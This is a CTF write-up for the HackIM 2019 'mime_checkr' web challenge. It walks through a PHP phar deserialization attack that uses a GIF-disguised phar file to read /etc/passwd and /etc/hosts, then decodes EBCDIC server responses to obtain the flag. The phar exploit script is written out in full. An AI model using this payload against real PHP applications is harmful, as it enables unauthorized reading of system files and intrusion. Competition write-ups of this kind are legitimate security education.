HABOOB

Hackim 2019
WRITE-UP

Welcome – mime_checkr

CHALLENGE DESCRIPTION

http://web1.ctf.nullcon.net/

Upload and check your Mim3 type

SOLUTION

This challenge will make you feel that it's a simple SSRF challenge, it have two inputs, one input expect a path to an image and the second input is for uploading an image.

The first input will not fetch any file unless it's an image because of the use of `getimagesize()`. After playing with the input for a bit, it seems like it will not break unless you really pass a url to an image.

Through brute forcing, we managed to get a backup file to the source code for the getmime.php, and it was getmime.bak.

https://raw.githubusercontent.com/nullcon/hackim-2019/master/web/mime_checkr/apache/app/getmime.bak

Reading the source code and it seems like we can upload a phar file and make it look like an image using GIF magic header, the only thing that left is to cause a Deserialization attack using the MainClass and change the value of url to any file we want.

```
<?php
    class MainClass
    {
        public $url = "file:///etc/passwd";
    }
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$o = new MainClass();
$phar->setMetadata($o);
$phar->stopBuffering();
?>
```

This will produce a phar file that will fetch /etc/passwd for us. After parsing/etc/hosts and requesting from ip's from the same subnet, we got a weird response that looked like a binary blob from a python code

```
root@kali:~/Desktop/nullcon/o# python x.py file:///etc/hosts

File is not an image.



file:///etc/hosts127.0.0.1      localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3      d038b936b122
```

“b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'”

It seams like an ebcdic encoded data, we used cp1047. To decode it we used a library in python called ebcdic.

```
import ebcdic
blob=b'\xc8\x85\x93\x93\x96@a\x86\x85\xa3\x83\x88\xa1l\xad\xbd_|]M@@\x94\x85'
print(blob.decode("cp1047"))
```

we got “Hello /fetch~%[]^@)(me”, the /fetch~%[]^@)(seems like a url so we urlencoded it and sent it back.

The server responded with another binary blob and it was the flag.

b'\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0'

Flag{PHP_Streams_are_t00_MainStream0}